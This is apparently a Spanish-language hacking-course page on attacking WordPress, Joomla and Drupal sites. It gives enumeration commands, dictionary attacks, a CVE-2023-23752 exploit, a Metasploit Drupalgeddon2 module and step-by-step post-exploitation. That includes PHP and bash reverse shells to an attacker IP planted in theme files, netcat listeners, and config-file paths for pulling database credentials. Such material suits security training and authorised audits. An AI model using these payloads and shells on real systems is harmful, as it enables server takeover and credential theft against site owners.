MatthyGD
~/master/atrium/temario_07_gestores_de_contenido.md
Volver

Taller Hacking - Gestores de Contenido por Carmelo Garcia (Aka MatthyGD)


Informe Técnico: Gestores de Contenido

Índice

Que son los Gestores de Contenido (CMS)

  1. Gestores de Contenido

Enumeración y explotación en Gestores de Contenido (CMS)

  1. Wordpress
  2. Joomla
  3. Drupal

Que son los Gestores de Contenido (CMS)

Gestores de Contenido

Un Gestor de Contenido (o CMS, por sus siglas en inglés: Content Management System) es una aplicación de software que permite crear, administrar y modificar contenido digital en un sitio web sin necesidad de conocimientos técnicos avanzados de programación.

Características principales

Ejemplos populares

Ventajas

Desventajas:


Enumeración y explotación en Gestores de Contenido (CMS)

Wordpress

WordPress es el sistema de gestión de contenidos (CMS) más popular del mundo utilizado para crear y administrar sitios web, blogs o tiendas en línea de forma sencilla sin necesidad de saber programación. Es software libre, de código abierto y personalizable mediante miles de temas y plugins.

Paso 1 - Descargamos la herramienta: “WPscan”

Para descargar la herramienta usaremos el siguiente comando dentro de nuestra terminal:

Script: <- Descargamos la herramienta.

gem install wpscan

Ahora tenemos que conseguir una API Token, para ello iremos al siguiente enlace: https://wpscan.com

Paso 2 - Enumeración

La enumeración de WordPress es crucial para nuestras auditorias y para ello podemos utilizar los siguientes comandos para enumerar todo lo posible dentro del gestor.

Solo los vulnerables

Script: <- Ejecutamos la herramienta para enumerar los plugins vulnerables.

wpscan -t 50 --url http://example.com --enumerate u,vp,vt --plugins-detection aggressive --detection-mode aggressive --force --api-token $WPSCAN_API_TOKEN > Vuln_plugins.txt

O también:

Todos los plugins

Script: <- Ejecutamos la herramienta para enumerar todos los plugins.

wpscan -t 50 --url http://example.com --enumerate u,ap,vt --plugins-detection mixed --detection-mode mixed --force --api-token $WPSCAN_API_TOKEN > All_plugins.txt

Paso 3 - Explotación

Una vez obtenido información podemos hacer una vía de Explotación según los datos que la herramienta: “WPScan” nos haya dado, por ejemplo:

Entre otras muchas técnicas que podemos utilizar para auditar el gestor y llegando a comprometer el propio servidor.

Realizando ataque de Diccionario

Script: <- Realizamos un ataque de Diccionario.

wpscan -t 80 --url http://example.com --usernames <Usuario o diccionario> --passwords <Password o Diccionario>
Abusando de Plugins vulnerables

Para ello es importante revisar con atención los plugins que obtuvimos mediante WPScan y revisar la documentación y los CVE del plugin vulnerable.

Paso 4 - Post-Explotación

En este punto la Explotación anterior nos habrá dejado en 2 puntos clave:

Abran ocasiones que según la explotación del gestor obtendremos un acceso al gestor de WordPress o directamente llegando adentro del servidor, así que vamos a separar ambas opciones por secciones:

Post-Explotación dentro del gestor WordPress a nivel web

Si hemos obtenido credenciales y privilegios altos para modificar la web entonces acceder al servidor es sumamente fácil:

Editamos un archivo PHP dentro de los temas del gestor

1: Es la entrada al servidor mas popular, consiste en irnos a: “Apariencia” y por ultimo a: “Theme Code Editor” (Según la versión puede cambiar el nombre)

2: Una vez dentro simplemente elegiremos el tema de WordPress que queramos y nos vamos a cualquier archivo en PHP que podamos modificar.

3: Ahora agregaremos una Reverse Shell en PHP y lo guardaremos.

Script: <- Ejemplo de Reverse Shell en PHP

<?php
$sock=fsockopen("<IP atacante>",<Puerto>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

4: Creamos un puerto de escucha con la herramienta de Red: nc y apuntamos al archivo en PHP dentro de la URL o con la herramienta: cURL para mandar una petición al archivo PHP del tema que hemos cambiado para que nos devuelva la Reverse Shell.

Script: <- Abrimos un puerto de escucha con nc

nc -nlvp <Puerto>

Script: <- Ejemplo de ruta para apuntar al archivo PHP:

http://example.com/wordpress/wp-content/themes/<Tema de la URL contemplada anteriormente>/<Archivo>.php
Abusamos de los plugins vulnerables

Si tenemos dentro del gestor un plugin vulnerable cabe destacar que dependiendo del plugin podemos utilizarlo para subir archivos maliciosos dentro de la web o sistema para llegar al servidor.

Post-Explotación dentro del servidor

Si hemos logrado acceder al servidor realmente no podemos hacer mucho con WordPress mas allá de enumerar y acceder directamente a la base de datos:

Rutas interesantes para enumerar las bases de datos

Aquí dejamos 3 rutas interesantes donde poder enumerar las bases de datos:

Script: <- Ruta de configuración de WordPress (instalación estándar).

/var/www/<html o Dominio/Sub_Dominio donde este el WordPress>/wp-config.php

Script: <- Ruta de configuración de WordPress (paquete de distro).

/etc/wordpress/config-default.php

Script: <- Ruta de configuración de WordPress (paquete compartido).

/usr/share/wordpress/wp-config.php

Una vez tengamos credenciales en texto claro de la base de datos siempre podemos utilizarla para utilizar servicios diferentes o pivotar de usuario.


Joomla

Joomla! es un galardonado sistema de gestión de contenidos (CMS) de código abierto y gratuito diseñado para crear y administrar sitios web dinámicos, potentes y complejos sin necesidad de tener conocimientos avanzados de programación. Basado en PHP y MySQL, destaca por su flexibilidad, escalabilidad y uso de plantillas para gestionar el diseño.

Paso 1 - Descargamos la herramienta: “JoomScan”

Para descargar la herramienta usaremos el siguiente comando dentro de nuestra terminal:

Script: <- Descargamos la herramienta.

git clone https://github.com/OWASP/joomscan.git && cd joomscan

Paso 2 - Enumeración

La enumeración de Joomla lo haremos con la herramienta descargada anteriormente: “JoomScan” para ello haremos el siguiente comando:

Script: <- Ejecutamos la herramienta.

perl joomscan.pl -u http://example.com/joomla

Paso 3 - Explotación

Ahora tenemos varias vías de Explotación como por ejemplo:

Explotación mediante ataque de Diccionario/Fuerza Bruta

Siempre podemos intentar realizar un ataque de Diccionario/Fuerza Bruta a los usuarios encontrados gracias a la herramienta usada anteriormente dentro del panel de login.

Explotación mediante versión desactualizada

Según la versión del Joomla podemos obtener varias vulnerabilidades, para ello, dejamos unos ejemplos:

Joomla Versión 4.0.0 - 4.2.7

Script: <- Descargamos el siguiente repositorio.

curl -v "http://example.com/joomla/api/index.php/v1/config/application?public=true"
¿Qué hace este comando?

Este comando intenta acceder a un endpoint específico de la API REST de Joomla. En versiones vulnerables de Joomla específicamente las versiones 4.0.0 a 4.2.7, este endpoint no requiere autenticación debido a un fallo de control de acceso, identificado como: “CVE-2023-23752”

Al añadir ?public=true, se le indica a la API que debe devolver información que, en condiciones normales, sería privada, como si se tratara de una petición pública y autenticada. Si el sitio es vulnerable, la respuesta del servidor contendrá datos sensibles de la configuración de Joomla.

Joomla Versión 4.0.0 - 4.2.7

Si tenemos un Joomla con esta versión (Se puede saber gracias a la herramienta Joosmcan) entonces podemos usar el siguiente exploit y observar nombres de usuarios y credenciales validas, para ello haremos los siguientes comandos:

Script: <- Descargamos el siguiente repositorio.

git clone https://github.com/K3ysTr0K3R/CVE-2023-23752-EXPLOIT.git

Script: <- Entramos dentro del Repositorio del exploit.

cd CVE-2023-23752-EXPLOIT

Script: <- Usamos el exploit para acontecer la vulnerabilidad.

python3 CVE-2023-23752.py -u http://example.com/joomla

Y ya podríamos acceder a la cuenta del usuario encontrado gracias a que el exploit saca las credenciales correspondientes.

Paso 4 - Post-Explotación

Una vez lleguemos a este punto posiblemente estemos dentro de la web del gestor y para acceder al servidor tenemos que cumplir con la siguiente metodologia

Editamos un archivo PHP dentro de los temas del gestor

1: Es la entrada al servidor mas popular, consiste en irnos a: “Extensiones” y después a “Templates” y dentro de Templates nos iremos a “Templates” (Según la versión puede cambiar el nombre, también puede ser: “System” y después a “Templates” y dentro de Templates nos iremos a “Site Templates”)

2: Ahora simplemente nos iremos a cualquier template dentro de la sección: “'Templates”

3: Ahora dentro del template que elijamos iremos a la plantilla “error.php”

4: Una vez dentro del error.php pondremos el siguiente código y guardamos el archivo con el nuevo código:

Script: <- Ejemplo de Reverse Shell en PHP

system("bash -c 'bash -i >& /dev/tcp/<IP atacante>/<Puerto> 0>&1'");

5: Creamos un puerto de escucha con la herramienta de Red: nc y apuntamos al archivo en PHP dentro de la URL o con la herramienta: cURL para mandar una petición al archivo PHP del tema que hemos cambiado para que nos devuelva la Reverse Shell.

Script: <- Abrimos un puerto de escucha con nc

nc -nlvp <Puerto>

Script: <- Ejemplo de ruta para apuntar al archivo PHP:

http://example.com/joomla/index.php/<>

Post-Explotación dentro del servidor

Si hemos logrado acceder al servidor realmente no podemos hacer mucho con Joomla mas allá de enumerar y acceder directamente a la base de datos:

Rutas interesantes para enumerar las bases de datos

Aquí dejamos una ruta interesante donde poder enumerar las bases de datos:

Script: <- Ruta de configuración de Joomla.

/var/www/<html o Dominio/Sub_Dominio donde este el Joomla>/configuration.php

Una vez tengamos credenciales en texto claro de la base de datos siempre podemos utilizarla para utilizar servicios diferentes o pivotar de usuario.


Drupal

Drupal es un sistema de gestión de contenidos (CMS) de código abierto, flexible y altamente escalable diseñado para crear sitios web complejos, seguros y de alto rendimiento. Basado en PHP (generalmente sobre entorno LAMP), destaca por su arquitectura modular que permite gestionar grandes volúmenes de contenido, ideal para empresas, universidades y gobiernos.

Paso 1 - Descargamos la herramienta: “Droopescan”

Para descargar la herramienta usaremos el siguiente comando dentro de nuestra terminal:

Script: <- Descargamos la herramienta.

git clone https://github.com/SamJoan/droopescan.git && cd droopescan && python3 setup.py install && pip3 install -r requirements.txt && pip install zombie-imp

Paso 2 - Enumeración

La enumeración de Drupal lo haremos con la herramienta descargada anteriormente: “Droopescan” para ello haremos el siguiente comando:

Script: <- Ejecutamos la herramienta.

./droopescan scan drupal -u http://example.com

Paso 3 - Explotación

Ahora tenemos varias vías de Explotación como por ejemplo:

Explotación mediante ataque de Diccionario/Fuerza Bruta

Siempre podemos intentar realizar un ataque de Diccionario/Fuerza Bruta a los usuarios encontrados gracias a la herramienta usada anteriormente dentro del panel de login.

Explotación mediante versión desactualizada

Según la versión del Drupal podemos obtener varias vulnerabilidades, para ello, dejamos unos ejemplos:

Drupal Versión 6x - 8x (No autenticado)

Aunque no sepamos las credenciales validas del CMS Drupal, podríamos meternos dentro de la maquina victima mediante meterpreter gracias a este modulo de Metasploit:

Script <- Iniciamos Metasploit.

msfdb run

Script <- Usamos el siguiente modulo.

use unix/webapp/drupal_drupalgeddon2

Solo tenemos que configurar los siguientes parámetros:

Script: <- Configuramos la IP victima.

set RHOST <IP victima>

Script: <- Explotamos el CMS.

exploit

Paso 4 - Post-Explotación

Una vez lleguemos a este punto posiblemente estemos dentro del servidor y para enumerarlo podríamos hacer lo siguiente:

Post-Explotación dentro del servidor

Si hemos logrado acceder al servidor realmente no podemos hacer mucho con Drupal mas allá de enumerar y acceder directamente a la base de datos:

Rutas interesantes para enumerar las bases de datos

Aquí dejamos una ruta interesante donde poder enumerar las bases de datos:

Script: <- Ruta de configuración de Drupal.

/var/www/<html o Dominio/Sub_Dominio donde este el Drupal>/sites/default/settings.php

Una vez tengamos credenciales en texto claro de la base de datos siempre podemos utilizarla para utilizar servicios diferentes o pivotar de usuario.


Recomendaciones Finales